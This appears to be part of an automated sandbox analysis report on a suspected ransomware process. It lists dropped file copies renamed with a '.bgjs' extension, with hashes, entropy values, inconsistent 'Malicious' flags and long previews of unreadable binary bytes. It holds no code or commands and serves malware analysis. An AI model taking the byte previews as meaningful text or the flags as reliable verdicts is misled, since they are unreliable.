Encrypted:	false
SSDEEP:	12:IMy0xB/yj2ViQb9EXQnat3Bc77rr3inCQIEXqOTuWcii9a:QKLViQZapCWXq8uWbD
MD5:	0CD21800FD11F5568F44E075A53F718F
SHA1:	977A48493B83421AA0674289E3CFC9C9BDD4C16D
SHA-256:	6BAC22E6CEBE2C90879811447CABC71E147B2FB7651A38BBE8DFB387AE96C806
SHA-512:	BA37FADC5D9725B9C7F1A4C8F063C98409FEC5DD37FCC4F225A76D65502C3DAD9F33BBEB26F2CC17F97E9D7CD84264CDDB38C2812BFC66D2DAB41DD4E2A4C0C1
Malicious:	false
Preview:	[{000.._=.D.n,..{..?.......aH...D...........6.........\|p~_m....E,Iva..4..'.mY!....H.[+.=..O..........nE.....p.yA>Iw...AT..W.$&..O-uf..3[.!I..G.K.=.. ...+...r@e..B...)!#.as...%..uq\..qv.Y-f4.(.;...W..s.IC/...j.......1%l.X.1...8...........P1...F..XI6_u1...o..S .Ff..:.}f.wf......&..x.unG..NV......4.L...*tc..!@<=S}........W.x..w.8k...X...KG....1..O'....>.P3=.......H_.e..f7.....+.%.`.....<......n.#.[..+e..}.M..X..{.%z...R1..h_..d'f.B.t..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Local Settings\Adobe\Color\ACECache11.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.7685606215980085
Encrypted:	false
SSDEEP:	24:j8jFVvXK5TLigUsU3nN+aWa+igmdXq8uWbD:Apg5TLzULnN5RdXFuED
MD5:	EA41466070B428FE5E8FC89C84741316
SHA1:	7315A37D6F88E0AC9737A7ABECFDDF6DFCEE7B85
SHA-256:	763E1C1049104F585F73FF515ACC17C834CFADB81EDC9F5312D4380A54035B09
SHA-512:	66D404C5CBF0E5C50C9B49E73A4707845E63038DD67A387C9FE6069402B7177815804E60940D2F16917A419AC480D4174FAA3809C92975137820CAD8799F83A8
Malicious:	false
Preview:	CPSA...i...O....Y.:.U....MV.y.;.~..>.?H0.{a.i.."...l.).#i....;.h......}f.G..5.t.........0f...r-.j.........E.,.1t.r..E.....~.....D.r...F..'.......\.......A..~^_......b..@^>_k...W+..x...._>X.zs.............?............ D..B.....D...M~.....o. ....w.....wt..5......{..$. ....1.\|.a.&...)..d.nv'.tIs..'[b@$......#...l.......>.L....$.........az......cc.j.+."i......"..].....!.zN.n.....'t...Mqy....M..p0Sj..a.....m..2.1.N.6.F.n.._...D.^\|.....f.{.B.4.....:.=\.+;I;..CA..6.4...B>!.....i.WN.4a.a6.......8%2O[.&.u.L...x.f.Y..1!..m..s...f)@....c.Z..T.E.GO....7.. ..`...7U..F.7.....K......b...3.,.f..{9..bN.B.1..Fj#.)...%..?...=......2W.*dN.#.u.q.....x.W'....~.!.6.6.}...c,%.>...pja...$..S2.}....63....M.]\.z8.!.c...=.....>.b.g.xU'u...h[... ...9u..........R........q....rR...eu.@...O.}5T....6l....u..o.D6Z3@...%.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Local Settings\Comms\UnistoreDB\USS.jcp.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9787562904674845
Encrypted:	false
SSDEEP:	192:AabN4aGZUrB7zvFAF5Hh0bKRBaAsu/faq1U62+Q:AabWaGq9f6F5Hm+v6eUp+Q
MD5:	E5D53A6F0FFB8F2A5EE57C41012B2E1A
SHA1:	DA6BAE1745A282D8CBCE60DDD3788E1CA43569C8
SHA-256:	6C64C2E2045C5A801B680014822CD4372DBBD16E2F38233E0D1DDA9A66BA6FE1
SHA-512:	3867FC2492C421909E949154EA0D5D8AE7C05E06F97F470DE159FA3E1A6D922726C0517E40EB85CD89C34124F63656AAF324369284ACC32D59307B244695C6BB
Malicious:	false
Preview:	.M.#.A..^b...X.....g.V.P%.N.....iWa<P....4..J..v\"yqr....;..#........h..?.YkA.\|.@...{..._...W.d#Q$.?J..Eg..Sw....y]N._.....ze...c.`..q.HT..s/..=....e..h....^......X."<.~(0....m.^..v...<.u.+Z..._qt\|vAI.&.O...;....g$w..c.,'...e.l..~.J)....../...Ai..iR....(........c[.Fb...A........p ...Pk....A50..u91..f..ogs.]..H...m..V0.$.LE...\6..[..!...Kh...c....7..C....6............EV..%..o.g.a...0..g)....T.........n.8F.Hh...~r.k 5..`.l.4.ix..)V.......^.l.=.....r..`..E.Y...TQ.....O.:.r..n2.d...8.........)......s.{.T...i.k&...U`1D5.>S..Ez...._...x....K...^..{2.[..K@.T(..U..0.k..x....r..h.J!.u.=+v.....mp. PA.@.v....B.].:.,.. .T..h.. ..u.p...._X<v..!..4..o.....>w$.2.1V..t....U..z.....+O}$..qR...C..~s..z...sI.;... ).$.j}K.....CA....,.=.o{nc.J.R.k..4.....D...5..U$.].......H.Y...%X'I..."<#M\{RA..Bjh..;D.I......*..1F.q..X..b...A.<......}yp.1.SZ..U..f+....M..6J.2...'.gu.......Pf..7i.=S.........E..4..(.....O\..{c.#.3..%O...D.F.\|L..(...i.\|cm.x5.5...m.....25e.^

C:\Users\jones\Local Settings\Comms\UnistoreDB\USS.jtx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.730896024946119
Encrypted:	false
SSDEEP:	6144:+SQSCTo7EYC/LP0ctpr0WPo3agO/qqv4RROYdVbtzFnrG5J5qh+AJ3TGXZAcbBVY:+SQhU/C/LsuprxfCdYST
MD5:	380210AC17F2E20369A99A2F5BB411CD
SHA1:	FC6DDE2D014E904AA42876C8D01DDD2409F2CC16
SHA-256:	8A38D150F548E1E31D08E551694FC42DA571BE00EDF322124E3F076BCA7A0489
SHA-512:	49F0610A90C3CEB043D290A9C78102FE2F6B237752D18113DE2049821CCE058D113B7A751145D4AC0399AE3D41419636B3391865E3BD2D91A0EDC2E2645EA625
Malicious:	false
Preview:	...?..zy..^...a..R..M.T.g..,.....}.<4..U..K.6s9:9 .......mK.._<..@..a..E...MY...N..4. ..0BW..#.-...x......M.kpVs.n+.A.ii..f`.2..=.mU.1-#.....&o..o.....<.......r.u.sx=:.hs...8K.o..-t.D(L]..._.m..;.m.....=.B=..\|s.t....Ss.#....}..>]...@.."ZiOf..Zpb..3..c.....%.f,aD.\.Sa.....j... A3..`.T..B,7.H.U7.u.h.?.=.I.s..m..G....=.O.... l=.:0t.j.,g<..?..~..o-..U.NbW.....7\|....7.(pa....qt+.5..........;...5.:..9D...A9.....a.eF..xl...5.........,VII.E....p.../8.Tyz.=..cd...J...........;.1..?.hLo.<...[..Y...d/3..Y..}......I4.K~...C.%S.!.g...1..~.1qhJA.p..8g.J.v+..^(B...\T..."3.{e.....c.....k6FFzKc....ia.."......R=..H.(.....S_.AN.GX.:E..,..{.nE.K......j).x...J..,..&....A#w...8..OY...7?].:...P...F/..$.]Q(.a.@.<e.nq.u.....+....O..`gb.*...c.y0.%.o..5....r.!.6u...gzq..i......E.....Z:..Kh...T....ND...\~..$..\R..g..K.}....g.J.tm....O[..x.kd\|&9....O..i.p.1n.9.am.<L.G...-.d...$.....-.q.../..R....(~...........,.y........&.>....@..j.!.WL[ v,.8g...I.C......\|

C:\Users\jones\Local Settings\Comms\UnistoreDB\USSres00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6707727903347009
Encrypted:	false
SSDEEP:	3072:mrHKT/bNOc5xIrvJzTJgn85G3IToBNNPm8wXhoUhah:ASbNOc5xITtNgnf3ITCLPm8wXKU4
MD5:	38A5F887713247B7C36951D6B44D97C8
SHA1:	51BCDB380D77380936C498BB9896A1C353DC96E3
SHA-256:	F218E299321CF6B13638A0E16C7C005011CFEF648B5DA63E3938D13CD9C07F65
SHA-512:	A661047799688768F2688ED9BBB879C67B8E37319F5E765F962A8F5E4E92C00DE0FD63E284748B8FE7CD1F7D0120B898D4669873CA8EE005C01DF211D0D93261
Malicious:	false
Preview:	........._.......b..9._'.K."/G...9..G..?..E.<.i.v.R.`b...IM.......5.1.....7..z...I....9. ..T....X.v..p........;..k..f`.8.......p.H...4X.....H`...]9`.t.....0I..%.E.\...ai..1F+95.B3.y...;......F...a^..$\|......8.n.Q....\,.J.g./J..ta..p......?.....k.S.....9&....[..}6.q........1.]..]. ....?Wz.=Lo,s._..P..6.4}..t.a.}.{.;..S.e.TJS.(.@.R......7.uHD....]...S;4P.....[/.\|@&.s.R.I..^sB6.t}.....}...W..56s.....e.....p..uEv=....MQ.M....x]?\..N.k...3.........uG...<.M........A....J}..#... ........Jx3...kh .4.F'$.\|..Fw2HE....G.2..zd........H.vC.By.y....b....."a;..15.R..mq_Ak.c.O..G..b..}A...f......Y.v.z.L..........!.2$...6 .rv.;T...Q...........:Ev<!...\.......C..":IHZ.....R..G..6M.i)......&.,..........<....J...l..OYx.u.u..K...--...i...........,:.a.O;f......G..v.p.B..\RCr...Dd]....]S.....J76c!H......Hm.o.f$.....wX+...,/v..n..n'......I .w'1..v.W.T!....,.R.=n.A.J. .I$V.:.$.y.R...J6B.n1Gu...]}m~!mn.T..JN..QT9..].0M:.\SV..rf%c..$....@Q>.w.....=....3

C:\Users\jones\Local Settings\Comms\UnistoreDB\USSres00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706194136140412
Encrypted:	false
SSDEEP:	3072:+O7wbWBeS8DzLQ8gbmMQUA8daYcT8orU6FvEwih2aD7BSfxxEl:abWoSmQYwARRv3gqxI
MD5:	DB27BF9B8449E28CEE4D58165000DB98
SHA1:	0BC74849167A8A474A287004372D8DBD57F74BCA
SHA-256:	43F0AC7E4A4FD63AFE9432D376DB40C7566FF572ABCEC46A0BAAF8A1C4338382
SHA-512:	BFE6C007919378688CFAB23F2F83D8BE4E83DA555B3C15987B65C02F60EB63BBFB0D0BACADAE107DFF41339FC56C7E6C899580B3CA16C8371B60AC97399EFEAF
Malicious:	false
Preview:	......#(...........3]...5x^.......=1..).qb..iA./=i..d......E....Ox........#.3....6...........7~.o5...U.......+K....0.).3T....S..F.M.ar..\|O...c-......;f.^-.#).o......D[..2LTUMM.+.:..(..!...l..,..9.-/o..K..1.$,.uJ6Z.+.,.\|X..I.<.c..n..[1`...8.AH.....#\C.9...1\|L\;..k.].]p....)O.)..m.y<..2_P.P....N.e...o...wb...,....p;..'.9...w./......>.......t..n.p..!....U......F....KH.l........&..:........apP$.w....&n...t.D...e%..Y..{<O...Il..t.,.w-.=...\|.Be....m.IW...........n..^...9....&.^.d....8..[...A%P[..!.P...RQ...c....=...#4..E-..QR.3../..../..".)...V....Y$...9S..E..c...h&W:..[.c...O.4W...nG..w.Z...[...d.-WQB....H.....6.\.N.oE....Dc.#.{...^...Q.LW...t...G..v....".X.........}!....s..r...\U.;..;Gv....nH...R..... ..b_.JK..uB43).I...8..O%....F..W.~u~.A....}P....,.....$N...u3.Q)e..L.TB..-.....wS.$..].=.B.....LJ...S...>.J....s.h........Z.dL_[.......U...i.>.1..vQ....==7.[..0.'.!...BE...9..!.n!.o.....eL...o.,..........).\.....Z..=..7..0NI...4*..%.4

C:\Users\jones\Local Settings\Comms\UnistoreDB\USStmp.jtx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706546814504333
Encrypted:	false
SSDEEP:	3072:YzJm+wBOo/ogRGlANxnNXqOnlZzQrYtf8KbKGpgI3yDlyjoUS:YzJaBh/pRGlAnnlZzwufpuYglEjfS
MD5:	1A205063B61ACCA6A87293C50E7B4D9D
SHA1:	394592651C2C7B128E9279E452B66F1530C67729
SHA-256:	7E683400EC4F66DA0562CD79E866B025CB21E6BD7895751705150822476F7971
SHA-512:	E6BCA237711C89EB7D5FE52D0D1F279226039D9CD9042F4F61EC23B9B0CC95B1675DFA95DCED428BA0FF23289778A127F9B3BD97A56521EA9472A8B73C805084
Malicious:	false
Preview:	......)~...A<{D...4....D.9.s...@.#dq.:%.`W.{v..u^X.......[.....1..;.....&.../...j.UMl.G.i.6r.......0.r0..h.y..?d.g.1+t.L).6.[..5.F..G.\|T.C.z}.......c6f...'.......5.pLV.S..O..wp..x/au..IG0ZW.t..).7..&...^..7."....ZN..2..'Cy.Fx..(#nnV....$G...}.$...<.".?YFA....{..L.-W.6:....7..[..2..1M4w{.i.....\3U.S.........}a...........+.d...NFe.5Z..$..9.FY..t...u.....R.&......?qs.9''...Q8#...s...&N...%o....]/.......$.g..%L..9./Q..R.J.>...)j.v$.S(...JD.4.N........C..)O.\,.o.E.....z.....}..yW.X.......~....._.......CYK.[rW./......Z.kn63^yl..y..&T.x..0.[ia..K.}.....V...u.\vi....T.g[.E.n.(j..G..>{.......mu.......j..5Q..s.E.t.7.Y..R..5..9h.Q/;.....:.`.{.....Zh..jM{.nu.......S:..q.oq.N.L..'m....UP..0...H.]h.#.......t.MA...f..IGL.t.w.+W..TV.JS..........x.t...-\|;x.6.+..r..W.l.X\.\2...Y..,.5_T.Ab.o#.q........r].Vo..n.L._B(.u.n.U....5*b.....Ir...c.z.I.9N.k\|....W...9........5.bJ..^...[.R..t..[A'......<.23.F...2)..b..t....w.S\<...bTV[.%..q\<..n.s.v....[..9....

C:\Users\jones\Local Settings\Comms\UnistoreDB\store.jfm.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9887311938737655
Encrypted:	false
SSDEEP:	384:F1hg1OePNm6o8j8QxhSIFAbKmOot9q0jHuGqFdgQ:jhklK8QQPSzJ9Xvql
MD5:	CCC6BCA0C016D94E2E8721388FD94737
SHA1:	84652626DC07BD49817E0BF6AFC302B98B06465D
SHA-256:	56C87DE62D828395E77E6D502787DC6D95980B2AD5F667DEC476C051300E6FAC
SHA-512:	31F7E9AE2DCCB43EEAB462280C9040489363BD55A4F45F9A113FEB417DC6D392F5A32A42C23AE561A39316F4E1DC74FBB1F72F1D93E0EE662BFCF2CAB2BAE550
Malicious:	false
Preview:	..(.......x..Y.2...4^h.......!>...0. ./s.Dg.0...]..t(Jg..Nc.&@t.h1V..t, .Z1qX[..Zr...Xy;.4Lj....^gbXS...Keh.-4F.\.".Rd....P.EE.!"Q...L...Z'"=JZ \.>..,.2....6J...?...p.......;.O=..'"2A..d6c..:..v..".U.[.....C..1h..z....c.(....x.3.h`cb.j.;..........oX.+.^.).....c/....$&.A.......^.Z+...'0.<...$ee.iY.U.:..#.O..tl...h.W..J..o..^..f.x....N'YC.K..ae....4....3.v 0.Nz..J.....-q.&...\.....wp........>".N...zHF.{..."2....<..;...#2.........'g...K..!..........y$.....Z.&_...".F....i .A.N][$....4ue....aD..U...[.l..c.n.S.........hG!.>F.Y@......PC.f..^..Z....nw.q......!^..;h.....f.[.{..q.)..e...<.+...1.J....3.<..(.f..ATD./.....V..............].!.D........n...h.L..q.0 ..k-.... G......E.....?.+u...........D%h....[...J..;#.7..z..C.\|3.2,..x...5tK..!C..`..^nSn....6..m.Q..S.#.zfz.].e..Y..b.L.Z.....!6^2i.%yz{r.=4..8..$... ..Fw.m...l.....e...d.J~3y.R..N.8............6...4.]`:....% ....'V6..(...I..4&.6..........qj...h@.b.k?...F..0.....P?.+....].JR.C.....l;GR...Ypx;}

C:\Users\jones\Local Settings\Comms\UnistoreDB\store.vol.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6291790
Entropy (8bit):	0.7008218173259306
Encrypted:	false
SSDEEP:	6144:pEwmrwJSRNwP5Bb/NT8u+bl6D5xkzeRzHGsSa+d+gOrOuWxWk3m+cun4CfYjUfS+:pEwmI+eB/NTral6D5OzehGtR3b02
MD5:	324069A059938D3D36159B5B3AA9497A
SHA1:	6C27EB3E7D79A33B74FFEDAAB2A601772F458CD1
SHA-256:	C6FBBBB174A91927AEA80B237B777E1F3A823D6E521911E9FAF861A847001661
SHA-512:	A712C78AD5291F4527D4FCF09E2338CF43113D9385BD358DB3901CAC73852DBBEF05DC038B61EFD8948F6F58CC9217639B12803226F7F5175E6682B7F7BCCFC0
Malicious:	false
Preview:	... ...&^.....I.WC...1. ..a...c...:.5..E......V..qS}W.V.2D......2....[=./...L....... D.N-.:.....>..$e.{.G...n.DYT.....:.L/...TeZ..V.c1=#z..x@[q.b..U.,.Or]I.dG....9........\|k.&P.(.pL..).l...p..* xp^.._3.3JdsY.\......$...Wy.d...J..5.R...{.....g...s?.a..1..r....BO.z..9m.Tn..s=).U.'......"...f.J.G@99...Qq.\]A..V!0g.yF.E.......s....3]\|......vX..~v..s.../..O.et...4.j[...H....P..%n..Vnt.[..>..)..m1.....E.$..F..{....:0.\|...&..& :_W.Y...........^4.p.v!../.C.K..L\k&D.C._-.O..Db3..&.N. ....&.....x....t.?...k..>.Y..\|....bt....UQ.]..!M..;.-.2+...gC.-.M...".w.7i.Q..Q....'9...8y..w...(l.B..$Gx.nL....j.;{5.w,.p.1...w......9....x...... p.H.D.M..S....p?..R.8Z...9.v>'..n'COV.d6...\|..Tq....,...R...bU).......uM]6..7..>...9.@......#..u....8PS.0.V;...3....;..\.Y....F.jGaA.xBx.P....>.}c....e.\.s+2...k.-..T+...m.-AU......].Q.0g..u....x...E.Z...BU..&n.....I..........n...<...e..Vd+...h,./.r.@c...".p....qG)...&J..Q..[4....R.^n.......E.4G....zm#uA-.x.B..Xa.k..i"h....R5

C:\Users\jones\Local Settings\ConnectedDevicesPlatform\L.jones\ActivitiesCache.db-shm.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994384885629373
Encrypted:	true
SSDEEP:	768:9GdVOU4ZALXkG6KY9zLPaQsXjfb3+BLdS:9fUJLXkG61arQc
MD5:	43DEE1233673A565420DCE6B57DCAED7
SHA1:	A740E900B981D081800C189636A8F1502C7A6628
SHA-256:	38BA5508DC6F82960839AC6FCD07987649EEE9A284B339FBAD84B00C50C68E07
SHA-512:	A7E4DF4E9C5B6E28D2FF7ACAF78100DDFFB50B5565E86E02F624D2466FFCEECDB81063B83EA4C0C421027CF26146D9583558BB1CA5FE5A079F4E0BEED1A90BA1
Malicious:	true
Preview:	..-....;[E..........o\]..&..};.%.f.b{..7e+...vL:\|[.TN].{.j..R..+...k..U.k\|..+}unv..B..$p.........O[.......keo.........<_<z@.....M~z.\|..F...7o'..A....b.u.....=fp..8^"......P......{..<.............=6.b..u<.jw#.FSt.........hw(?0.+....^."H..N.,.f.......0XM....e........8^..a[..c.....s......S..E?.h14...5......R...<..>...>.......l.[.-.M..X.\.2\|.Zz.>s...C`..}p....#.s.f.........`T...=....Slc.W'Z...)...4....x...!.\..%.{.=.<...S....>..;S.\....<h..3I.yyJ.........%.u..r.O..'!......B..q........%.Z..Qo..Y...8>.A....T..jJ......5..../6B..R.).S...q........1..mTec.a....A..;&.c...z.U..\|..[..Y.N{.R7.f..b....+x.Q...Z1.fKk{..!..._.$....g`....../......rN\..[Up..y?..<oi...'...%....U@?&.Q.&..AI...a...{.......d..f.#..s.7.D....U.WW..fK.J.....t...r..2Pe......]..j...Q\|...7w....[@..rJyxs0....V)H.....t....D..I.(...yE...yi.....M...$...qB'...$..-!....x.[.&...'.&...f.h..4.....&.eg.o.8'g.~.........:.1..$.Q#lG.....T..7!O.D....a..V.}+.....b..im.xsd.rQ"...\....9.u..3(...

C:\Users\jones\Local Settings\ConnectedDevicesPlatform\L.jones\ActivitiesCache.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	2.535489042977209
Encrypted:	false
SSDEEP:	3072:Dm37z4xjcnvFjCHQ10U2cYNnoEpiNPCQWBLUw2iTxxQnaX4PjHNATkqAm4HNA988:C3QjyvxCHQ10UaNDExCLD2IToY2v64Q
MD5:	A812EB3A6A5F6DD970940202CE22C919
SHA1:	47CAC8DCEA3B91DC6EDFB9E05B93933DD78EF724
SHA-256:	35E01F2E0B4B02F4AFC5E2628C6F24A5D244D7952A73DFB449C6B351DACD3916
SHA-512:	B66B37C634285CD950C6F3957AD16B9FFBC56EBFE5D8673BC3890928DD3F6D70035D925AF1BDE739FED6BAB1E559485933F33B257F4A1414C2AC7476AE87F128
Malicious:	false
Preview:	SQLit/,>.e..,.c.....2....H.Ina.G%0"&....e9..'.,....D.h.&.q.....O....a..........pa..lM.~z.~...aWx#..G8....e...5.....3.!Q&^`h.n.7g....>.z\|.\.n.3......,!.I..F.....\|#.'.9+..<.J..?c_=.H.}.N.....n.f.A}0\|F.G....S.G.]-.....38...&gB@...}..Y...c...C..^..s./...d.W..$.....y.&cx..6.].[....S.)z..b....M.\|3C....#.../"....^.L)./..x;4.3..Tj.U.53..^._y!.'z\|xG.fi.)..\...L....../...m.....d..\.XpLL)l....r}..`r..l.....c...S...&?......?PD=gP..'..&.f..._..s...?....&b."(..'..K$f.mI..C..........!%.k2.A...._u.q5........PM)C....d..2.0. .X.....p+..E.x....E[.gJg^.1$Rh..E..1/.2..,.`ao..0..R....p<..6....=#...5.....&..\|.........n..O......#.B..E..... ..-...$.p.'../..I.d../Z.lk....R...Rq.B..\2.......).].......g$.#..w...x]....@..3.zJ....k.x...~.Xu.4....\|...qN+SU....d8.S..5.8....G?..>.W..Y..C.......vi&..f.'.6B.2.@.....GD ..~.....,..".2..Ki...b....;.;.7. &.3.#....A..S.d..f.yH..,....]..m.Us......_.9...Y....R...FJ.....4..\|. .$.F..K.3...."...[.kR$.l.B...3s{.K .F...

C:\Users\jones\Local Settings\Diagnostics\1612347604\latest.cab.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	11589
Entropy (8bit):	7.983384418480285
Encrypted:	false
SSDEEP:	192:d710rEor61dAoRrcEVBxJSu8zmYxu7syU2IynJEX+86uRZjpU+kx4O/OtGDCkQ:j0oN1d4EVBxJSulYk7NfIynJEXu6WSGe
MD5:	513B123A08E00176F044519964B7568B
SHA1:	060BA19A174EF349A0C99758F49720C4C26582FB
SHA-256:	CE16F9243C4F8CF1989D2C879FA6AEA4C22D73FD65F1E1697537262556FCAF96
SHA-512:	BE1528FC192D3732A7FCF9E8EDA024153C5D9BDA031FE63A174A825CB876D3547A44C99D01F45A042C20C6CE9C54818D2C157A15779E47BA5AE3E8FA06A90324
Malicious:	false
Preview:	MSCF...r.........8...K....o.q..h&...d...Y.t.%;Z..'.Q.t...v..gFk.uksoD...X..h.R..n["......uRj.,.e[......+....z.U..AE7...azrs..}.V._......p..w_nn(?.~.X....\|...W...5.S..P..b...>w.L..b.$mj...........JDb....?N.w.i.#..[hhJN...6..t...cu+........Q..js.....kR..o...\....b.......8;z..7.'..>.w.....g..<u.x....p...c....[s..Q.......p.o.8<Y.u.N`..dBW..z<..X.T..W^s.-.....VN..h@....\k.%3....h..Hp..-..`...e.`.3k..x>.....+...[=.T.XS...@.Yn#..j\|!c.0........a...A./...1..y..m.l..>u+k..z.....`.6...?D.........=?...y.u..$...s..PQqY..>...L...Gz..EM#...V.9.z.R<fy>.:.M.C2.0..]9..O?..w..(.j.........km..d).......].JJ..,_...#...8S..........rh..tR..h..'W.}F....P%."S.{/qw.sWS.........hj.o.R[!)..F.....Mc`..%C...],..E.Fid..m\......L%8...k..4^..P..=..#..l..^..Y..:.U..3q.0R7.....'c.o...E.$...N%/....U.5..m.2%wd.F.K..v..5....I.k.J.Y.........@/.7$.}(..D....u._............P^.MWs...V.h\.R.\Z.).;m......L..2o..A.#I..].b../b.q...?B..=$!zLS...Y..)...E...h..........\|.O{.w...E

C:\Users\jones\Local Settings\IconCache.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	25159
Entropy (8bit):	7.993063003772929
Encrypted:	true
SSDEEP:	768:ijAUzbC4Db/I6cMt24Fp81YbIejhuQ3VuDWH6QFtY:ij/bhbxcMZ81YVdK2Fe
MD5:	01DF770F981A8652CFE3BF259C0F8164
SHA1:	4AEEEDF79DB7AA920E1E0D281BC0B815A1732A89
SHA-256:	D7B8151FDC9E310B054F4A270CC0B510775F2F1B1996B6623E26ECE6181DEFAB
SHA-512:	0213B456BDC1AA075550CFE28269C9FCACF21F297D172CDB130729B6C4625E20345CEAF35961820564FBC6059471ED85838F8928E3BB490E2EE1BC36533B6546
Malicious:	true
Preview:	H...W...dFw.x.oxP...1.m. Y.]..G_.}...m.H.&4..b.s%i.X...F).8j."G^..y})-..;)s[@..i.%......D.@..2..r,.fuj.$5^...e....8..`6....V....B3{..........Ryp\|"..MF<%.X.T.[...v..x..k....R`.+@W:)....v.}....!......o(a..=.$.+u..ym.tQ.i...<......:@e]...K......J+^0..s..P.I..cB......U...H.y=k.K....yJ.~.......co<.}.%...3..Q.2.....)..Q.8..T).$.l......<A~C.......=k.u.b.....M/1.]..]_......o.u.......xw..4"....{._D.fE.. .Q.Y.mp...a>Io.. ..@.[().cKA.........8%......].S.i..W2.S.V...:.....\.....oB..QQ=.(.(Ad..Lb.qDPG.j Bfy.i.y.C,....k.O..i......W...5%c.o#o...XD....!N.I..D.~W..5...K....H.U.....l..x&~...G.....o...A../q.wMH....2X../R.M..o..R.F...#..2.xyg.;5$.p....T./Zf.t..#O0d[A...mb....%..Q.;....h..G.j...}.,.(..<..%....1.........T..?.....E[.......(\|.a.......]..R.r4.....h..V....!.{.>.W17]..&N.v....r.x..N....(..I...=%.....{g.\|.v.Ae."..9....Y.].'2.)n..XQD.;Df...~p..S....>...(A.Go.K........P.)p1u...Ge.OV.8..F.^.n.[.y..I.z?..fa.s.E.Zq...@..l;..N...s@.Ut...m..X\|.......3/...^.

C:\Users\jones\Local Settings\Microsoft\GameDVR\KnownGameList.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	582670
Entropy (8bit):	5.267130337411212
Encrypted:	false
SSDEEP:	6144:upPXzIEae97CNEX1/R0/H/KT8pNbGNPLRdMlduU6/24J2:+PXz7aRNM1/GH/KAutubcJ2
MD5:	2D0FC8E8474DA04CE5BD32FD8E6A1927
SHA1:	D4706330ED39C4FF171A198F15F902CC6AA52133
SHA-256:	57B681A1FBF8D9835A7F0EA2F38E4AE6B5A7683618ED25D05E9C2F7D64523771
SHA-512:	FBAD5507990E31297BFB6313DF3DC3DD442E25ACD6560DF51F5F15BF35217CFCA77505DE00591614C422F516CD9354B8C8A915ADEF0705C1CA67078CC12244C7
Malicious:	false
Preview:	......yR..9z.$R .E.3-.m........FX...+.7...].AkN....b.#...O...U...Y.dI=.....y.?.....UX.g.E....<......93<....,{<...~..g.........r.rN...n...H_.1....c\|...aK<L....O..Lx.......G7..K..Q...Z..j$dz?i...V.<....~.Ddq.).-p.....t........[.7...t<.z.....tJe.5......(..S.!...T.....U}.."Mp...t4.-. ...\|H%#...}.0...E%.K....g..........m......k.....6.p'.~D.....O,.X.x.Y.E.WQ..7.....o@~A...^...yI..4.Mm.+T.r.S.m.Pp...r.M.>..`9....JP.$..{..Sd.......G.c......ML......A.......7.&.(...............d..?.$b.K.....o....o..2.i....?R..........p.Y"5...I?.m.o.....-.Ji`BNB.K...,% .P<.@.5........ @+...Y.b....}c3_..<l>1Q.B.8..$..<.._$d..#.e.l.E-..a.;YjB...5..^6.$%..a.XT8.c..zt..\T..Ss.....A..3.&.L.....:....S&~..$...l..!...;.....e./-.......!....."Dh.NK..B.EC.eq.I.7......._.x.7....U..h.......\|.6...0.d.......i.^.....X.u.....o..z.!.R.~.%..+.p.sO.e..*;..c@.&..P.....~.E.%.\|...Qx..[..e.ZP\..B....6M+.i..Y....4.s..U^5..j6Y.g...0..O.1.cg.......;c...C..p....F.[.KH......^M2

C:\Users\jones\Local Settings\Microsoft\Internet Explorer\brndlog.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.977668601166405
Encrypted:	false
SSDEEP:	192:qkDPfiMJE4WXPBDRQO2NoKoULayEBrZELpjQ:rP1JeZjrZULayCoZQ
MD5:	67ABF12ECBE4C9B7246F90E1E3B4C155
SHA1:	8F372C297B972D08A6F9F7F14B81393F0B3926FE
SHA-256:	C944EF78971E5FD0D8BB0C47F6BA909E73CBDE5B0507BACA009EB54B11A46868
SHA-512:	61563ADB0DB3EC15FE60574F706703977E2F43968F0408A3CEC77E9B9AC614055765F4F214448EBA7731F2B310657158EFAD8D99D3FD175A272128269BA48B86
Malicious:	false
